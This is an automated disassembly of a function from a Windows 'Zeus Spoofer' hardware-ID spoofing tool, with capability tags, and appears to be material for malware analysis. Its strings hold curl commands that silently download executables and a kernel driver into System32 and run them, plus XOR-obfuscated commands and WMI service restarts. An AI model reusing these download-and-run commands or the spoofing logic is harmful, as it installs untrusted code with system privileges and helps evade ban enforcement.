Function at 0x140003360
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query or enumerate registry value
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14003c100]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
xor ebx, ebx
lea rcx, str.Zeus_Spoofer_FREE
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r15, rax
lea rcx, [0x140033bdc]
call fcn.140010d58
mov rcx, r15
call fcn.140002950
lea rdx, str._n_____Welcome_to_Zeus_Spoofer
lea rcx, [0x14003d4c0]
call fcn.140006bc0
mov rdi, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rcx + rax + 0x40]
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x38], rcx
mov rdx, qword [rcx]
call qword [rdx + 8]
nop
lea rcx, [rsp + 0x30]
call fcn.140006a10
mov rcx, qword [rax]
mov r8, qword [rcx + 0x40]
mov dl, 0xa
mov rcx, rax
call r8
movzx esi, al
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140003439
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140003439
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
movzx edx, sil
mov rcx, rdi
call fcn.140007ca0
mov rcx, rdi
call fcn.140007b40
cmp byte [0x14003eeb8], 0
jne 0x140003723
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rdx, str._n_n_____Do_you_want_to_spoof_registry__Windows_11__Y_N:
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rdx, [rsp + 0x30]
call fcn.140006fd0
lea rcx, [rsp + 0x30]
mov rsi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x48]
cmp r14, 0xf
cmova rcx, rsi
mov rdi, qword [rsp + 0x40]
cmp rdi, 1
jne 0x1400034d9
test rdi, rdi
je 0x140003575
mov r8, rdi
lea rdx, [0x1400359d0]
call fcn.140026d80
test eax, eax
sete al
test al, al
jne 0x140003575
lea rcx, [rsp + 0x30]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, 1
jne 0x14000350d
test rdi, rdi
je 0x140003575
mov r8, rdi
lea rdx, [0x1400359d4]
call fcn.140026d80
test eax, eax
sete al
test al, al
jne 0x140003575
lea rcx, [rsp + 0x30]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, 3
jne 0x14000353d
test rdi, rdi
je 0x140003575
mov r8, rdi
lea rdx, [0x1400359d8]
call fcn.140026d80
test eax, eax
sete al
test al, al
jne 0x140003575
lea rcx, [rsp + 0x30]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, 3
jne 0x1400036e5
test rdi, rdi
je 0x140003575
mov r8, rdi
lea rdx, [0x1400359dc]
call fcn.140026d80
test eax, eax
sete al
test al, al
je 0x1400036e5
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14003ef20]
cmp qword [0x14003ef38], 7
cmova rdx, qword [0x14003ef20]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400036e0
mov dword [rbp - 0x20], ebx
mov dword [rbp + 0x30], 4
lea rdx, [0x14003eee0]
cmp qword [0x14003eef8], 7
cmova rdx, qword [0x14003eee0]
lea rax, [rbp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x1400036e0
cmp dword [rbp - 0x20], edi
jne 0x1400036e0
lea rdx, [0x14003ef00]
cmp qword [0x14003ef18], 7
cmova rdx, qword [0x14003ef00]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400036e0
mov dword [rbp - 0x20], ebx
mov dword [rbp + 0x30], 4
lea rdx, [0x14003eec0]
cmp qword [0x14003eed8], 7
cmova rdx, qword [0x14003eec0]
lea rax, [rbp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x1400036e0
cmp dword [rbp - 0x20], edi
jne 0x1400036e0
lea rdx, str._n_n____Registry_already_spoofed
lea rcx, [0x14003d4c0]
call fcn.140006bc0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140033bdc]
call fcn.140010d58
jmp 0x1400036e5
call fcn.140002f90
mov byte [0x14003eeb8], 1
cmp r14, 0xf
jbe 0x140003723
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000371b
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400042ff
mov rcx, rsi
call fcn.140009ed0
lea rcx, [0x140033bdc]
call fcn.140010d58
mov rcx, r15
call fcn.140002950
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
movdqa xmm1, xmmword [0x140036600]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x2e
mov r8b, 0xd
mov r9b, 0x12
movzx r10d, r9b
mov r11b, 0x1b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
xor r11b, cl
mov byte [rsp + 0x44], r11b
mov byte [rsp + 0x45], 0
lea rdx, [rsp + 0x31]
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rdx, str._n_n_____2__Perm_Spoof
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rdx, str._n_n_____3__Check_HWID
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rdx, str._n_n_____4__Clean_Traces
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rdx, str._n_n_____Your_choice:
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rdx, [rbp + 0x60]
call fcn.140006fd0
lea rcx, [rbp + 0x60]
mov rsi, qword [rbp + 0x60]
mov r14, qword [rbp + 0x78]
cmp r14, 0xf
cmova rcx, rsi
mov rdi, qword [rbp + 0x70]
cmp rdi, 1
jne 0x140003a26
test rdi, rdi
je 0x14000388e
mov r8, rdi
lea rdx, [0x140035a60]
call fcn.140026d80
test eax, eax
sete al
test al, al
je 0x140003a26
lea rcx, [0x140033bdc]
call fcn.140010d58
lea rdx, str._n_____Downloading_spoofer
lea rcx, [0x14003d4c0]
call fcn.140006bc0
movdqa xmm0, xmmword [0x140036630]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140036590]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400365a0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140036660]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x140036650]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140036690]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x140036570]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x140036640]
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x66233e23
mov dword [rbp - 0x2c], 0x2a332878
mov dword [rbp - 0x28], 0x60787466
mov word [rbp - 0x24], 0x77
mov rcx, rbx
nop word [rax + rax]
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x51], al
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x52], al
add rcx, 2
cmp rcx, 0x8c
jb 0x140003940
mov byte [rbp - 0x23], 0
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0xa0]
call fcn.140005f90
nop
lea rcx, [rbp + 0xa0]
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
movdqa xmm0, xmmword [0x1400366b0]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400365b0]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400365e0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140036670]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400366a0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400365d0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [str.1_0__]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400365c0]
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x79616d7f
mov word [rbp - 0x2c], 0x6e
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rbx + 0x51], al
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rbx + 0x52], al
add rbx, 2
cmp rbx, 0x84
jae 0x140003eec
jmp 0x140003a01
lea rcx, [rbp + 0x60]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, 1
jne 0x140003a5d
test rdi, rdi
je 0x140004305
mov r8, rdi
lea rdx, [0x140035b80]
call fcn.140026d80
test eax, eax
sete al
test al, al
jne 0x140004305
lea rcx, [rbp + 0x60]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, 1
jne 0x140003acf
test rdi, rdi
je 0x140003a8c
mov r8, rdi
lea rdx, [0x140036294]
call fcn.140026d80
test eax, eax
sete al
test al, al
je 0x140003acf
lea rcx, [0x140033bdc]
call fcn.140010d58
lea rdx, str._n____Checking_HWID
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rdx, str._n_n____
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rcx, str.wmic_diskdrive_get_serialnumber
call fcn.140010d58
jmp 0x140003e74
lea rcx, [rbp + 0x60]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, 1
jne 0x140003e55
test rdi, rdi
je 0x140003b06
mov r8, rdi
lea rdx, [0x1400362ac]
call fcn.140026d80
test eax, eax
sete al
test al, al
je 0x140003e55
lea rcx, [0x140033bdc]
call fcn.140010d58
lea rdx, str._n_____Downloading_cleaners__starting_cleaners__n_n
lea rcx, [0x14003d4c0]
call fcn.140006bc0
call fcn.140002800
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], rbx
mov r8d, 0xb9
lea rdx, str.curl___silent__https:__bitcheats.net_api_downloads_bitcheats_cleaner.exe____output_C:WindowsSystem32_bitcheats_cleaner.exe__nul_2_1__C:WindowsSystem32_bitcheats_cleaner.exe
lea rcx, [rbp + 0xa0]
call fcn.1400073d0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rbx
mov r8d, 0xbf
lea rdx, str.curl___silent__https:__gitea.com_Jaxploit_Spectra_raw_branch_main_BadwareCleaner.exe____output_C:WindowsSystem32BadwareCleaner.exe__nul_2_1__C:WindowsSystem32BadwareCleaner.exe
lea rcx, [rbp + 0x80]
call fcn.1400073d0
nop
mov ecx, 8
call fcn.140009ed8
lea rcx, [0x140002a20]
mov qword [rax], rcx
mov qword [rbp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140008720]
xor edx, edx
xor ecx, ecx
call fcn.140010b14
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140004b4b
mov ecx, 0x30
call fcn.140009ed8
mov rdi, rax
mov qword [rbp + 0x40], rax
lea rax, str.____Started_Cleaner_1__n_n
mov qword [rdi], rax
lea rcx, [rdi + 8]
lea rdx, [rbp + 0xa0]
call fcn.140005fd0
lea r15, [0x140002dd0]
mov qword [rdi + 0x28], r15
mov qword [rbp + 0x40], rdi
lea rax, [rbp + 0x18]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
mov r9, rdi
lea r8, [0x140008750]
xor edx, edx
xor ecx, ecx
call fcn.140010b14
mov qword [rbp + 0x10], rax
test rax, rax
je 0x140004b3d
mov ecx, 0x30
call fcn.140009ed8
mov rdi, rax
mov qword [rbp + 0x40], rax
lea rax, str.____Started_Cleaner_2__n_n
mov qword [rdi], rax
lea rcx, [rdi + 8]
lea rdx, [rbp + 0x80]
call fcn.140005fd0
mov qword [rdi + 0x28], r15
mov qword [rbp + 0x40], rdi
lea rax, [rbp - 8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
mov r9, rdi
lea r8, [0x140008750]
xor edx, edx
xor ecx, ecx
call fcn.140010b14
mov qword [rbp - 0x10], rax
test rax, rax
je 0x140004b2f
cmp dword [rsp + 0x38], 0
je 0x140004b24
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rsp + 0x38], eax
je 0x140004b19
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x40], xmm0
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.140009884
test eax, eax
jne 0x140004b0e
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
cmp dword [rbp + 0x18], eax
je 0x140004b24
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp + 0x18], eax
je 0x140004b19
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x40], xmm0
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.140009884
test eax, eax
jne 0x140004b0e
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x10], xmm0
cmp dword [rbp - 8], eax
je 0x140004b24
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 8], eax
je 0x140004b19
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x40], xmm0
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.140009884
test eax, eax
jne 0x140004b0e
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [0x140033bdc]
call fcn.140010d58
lea rdx, str._n____Successfully_cleaned
lea rcx, [0x14003d4c0]
call fcn.140006bc0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp dword [rbp - 8], 0
jne 0x140004af0
cmp dword [rbp + 0x18], 0
jne 0x140004af6
cmp dword [rsp + 0x38], 0
jne 0x140004afc
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140003dde
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003dd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b02
call fcn.140009ed0
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140003e20
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b08
call fcn.140009ed0
nop
cmp r14, 0xf
jbe 0x140003eb8
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140003eb0
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400042f9
jmp 0x140003eb0
lea rcx, [0x140033bdc]
call fcn.140010d58
lea rdx, str._n_____Invalid_choice
lea rcx, [0x14003d4c0]
call fcn.140006bc0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
call main
nop
cmp r14, 0xf
jbe 0x140003eb8
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140003eb0
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ee6
mov rcx, rsi
call fcn.140009ed0
xor eax, eax
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.140009eb0
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400124b8
nop
mov byte [rbp - 0x2b], 0
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x80]
call fcn.140005f90
nop
lea rcx, [rbp + 0x80]
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [0x140033bdc]
call fcn.140010d58
lea rdx, str._n_____Starting_spoof
lea rcx, [0x14003d4c0]
call fcn.140006bc0
call fcn.140002800
lea rcx, [0x140033bdc]
call fcn.140010d58
movdqa xmm1, xmmword [0x140036680]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140036580]
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x140036610]
movdqa xmmword [rsp + 0x70], xmm3
movdqa xmm4, xmmword [0x1400366c0]
movdqa xmmword [rbp - 0x80], xmm4
mov dl, 0x74
mov r8b, 0x7e
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
movd eax, xmm4
xor al, cl
mov byte [rbp - 0x80], al
xor byte [rbp - 0x7f], cl
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
xor dl, cl
mov byte [rbp - 0x70], dl
xor r8b, cl
mov byte [rbp - 0x6f], r8b
mov byte [rbp - 0x6e], 0
lea rcx, [rsp + 0x51]
call fcn.140010d58
lea rcx, str.VX_Community_Spoofer
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, [0x140033bdc]
call fcn.140010d58
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x140036620]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x1400365f0]
movdqu xmmword [rsp + 0x60], xmm2
mov dl, 0x72
mov r8b, 0x6f
movzx r9d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
xor dl, cl
mov byte [rsp + 0x70], dl
xor r8b, cl
mov byte [rsp + 0x71], r8b
xor r9b, cl
mov byte [rsp + 0x72], r9b
mov byte [rsp + 0x73], 0
lea rcx, [rsp + 0x51]
call fcn.140010900
movdqa xmm1, xmmword [str.d83_r_n]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140036540]
movdqu xmmword [rsp + 0x40], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], dl
xor byte [rsp + 0x33], dl
xor byte [rsp + 0x34], dl
xor byte [rsp + 0x35], dl
xor byte [rsp + 0x36], dl
xor byte [rsp + 0x37], dl
xor byte [rsp + 0x38], dl
xor byte [rsp + 0x39], dl
xor byte [rsp + 0x3a], dl
xor byte [rsp + 0x3b], dl
xor byte [rsp + 0x3c], dl
xor byte [rsp + 0x3d], dl
xor byte [rsp + 0x3e], dl
xor byte [rsp + 0x3f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], dl
xor byte [rsp + 0x42], dl
xor byte [rsp + 0x43], dl
xor byte [rsp + 0x44], dl
xor byte [rsp + 0x45], dl
xor byte [rsp + 0x46], dl
xor byte [rsp + 0x47], dl
xor byte [rsp + 0x48], dl
xor byte [rsp + 0x49], dl
xor byte [rsp + 0x4a], dl
xor byte [rsp + 0x4b], dl
xor byte [rsp + 0x4c], dl
xor byte [rsp + 0x4d], dl
xor byte [rsp + 0x4e], dl
mov byte [rsp + 0x4f], 0
lea rcx, [rsp + 0x31]
call fcn.140010900
lea rcx, str.net_stop_winmgmt__y
call fcn.140010d58
lea rcx, str.net_start_winmgmt__y
call fcn.140010d58
lea rcx, str.sc_stop_winmgmt
call fcn.140010d58
lea rcx, str.sc_start_winmgmt
call fcn.140010d58
lea rcx, str.ipconfig__flushdns
call fcn.140010d58
lea rcx, [0x140033bdc]
call fcn.140010d58
lea rdx, str._n____Successfully_spoofed__Checking_HWID
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rdx, str._n_n____
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rcx, str.wmic_diskdrive_get_serialnumber
call fcn.140010d58
mov ecx, 0x1d4c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14000fc98
nop
call fcn.1400124b8
int3
call fcn.1400124b8
nop
lea rcx, [0x140033bdc]
call fcn.140010d58
lea rdx, str._n_____Downloading_accessories_required_to_spoof
lea rcx, [0x14003d4c0]
call fcn.140006bc0
lea rdx, str.curl___silent__https:__gitea.com_Jaxploit_VuxCheats_raw_branch_main_CupFixerx32.EXE____output_C:WindowsSystem32CupFixerx32.exe__nul_2_1
lea rcx, [rbp + 0xa0]
call fcn.140005f90
nop
lea rcx, [rbp + 0xa0]
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rdx, str.curl___silent__https:__gitea.com_Jaxploit_VuxCheats_raw_branch_main_gsoftgmx64.sys____output_C:WindowsSystem32gsoftgmx64.sys__nul_2_1
lea rcx, [rbp + 0x80]
call fcn.140005f90
nop
lea rcx, [rbp + 0x80]
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [0x140033bdc]
call fcn.140010d58
lea rdx, str._n____Downloaded_starting_spoof
lea rcx, [0x14003d4c0]
call fcn.140006bc0
call fcn.140002800
call fcn.1400014e0
mov rcx, rax
call fcn.14000ff34
lea rdx, [0x140035d00]
lea rcx, [rsp + 0x30]
call fcn.140005f90
nop
lea rcx, [rbp + 0x40]
call fcn.140002240
nop
lea rcx, [rbp + 0xc0]
call fcn.140002240
nop
lea rcx, [rbp + 0xe0]
call fcn.140002420
nop
lea rdx, str.AUTO
lea rcx, [rbp + 0x100]
call fcn.140005f90
nop
lea rdx, str.To_Be_Filled_By_O.E.M
lea rcx, [rbp + 0x120]
call fcn.140005f90
nop
lea rdx, str.AsRock
lea rcx, [rbp + 0x140]
call fcn.140005f90
nop
lea rdx, str.8560M_C
lea rcx, [rbp + 0x160]
call fcn.140005f90
nop
lea rcx, [rbp + 0x180]
call fcn.140002420
nop
lea rcx, [rbp + 0x1a0]
call fcn.1400027c0
nop
lea rcx, [rbp + 0x1c0]
call fcn.1400027c0
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400027c0
nop
lea rcx, [rbp + 0x200]
call fcn.1400027c0
nop
lea rcx, [rbp + 0x220]
call fcn.140002420
nop
lea rcx, [rbp + 0x240]
call fcn.1400027c0
nop
lea rcx, [rbp + 0x260]
call fcn.140002560
nop
lea rdx, str.To_Be_Filled_By_O.E.M
lea rcx, [rbp + 0x280]
call fcn.140005f90
nop
lea rdx, str.To_Be_Filled_By_O.E.M
lea rcx, [rsp + 0x50]
call fcn.140005f90
nop
lea r8, [rsp + 0x30]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__IVN__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x40]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__SP__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0xc0]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__SV__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0xe0]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__SS__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
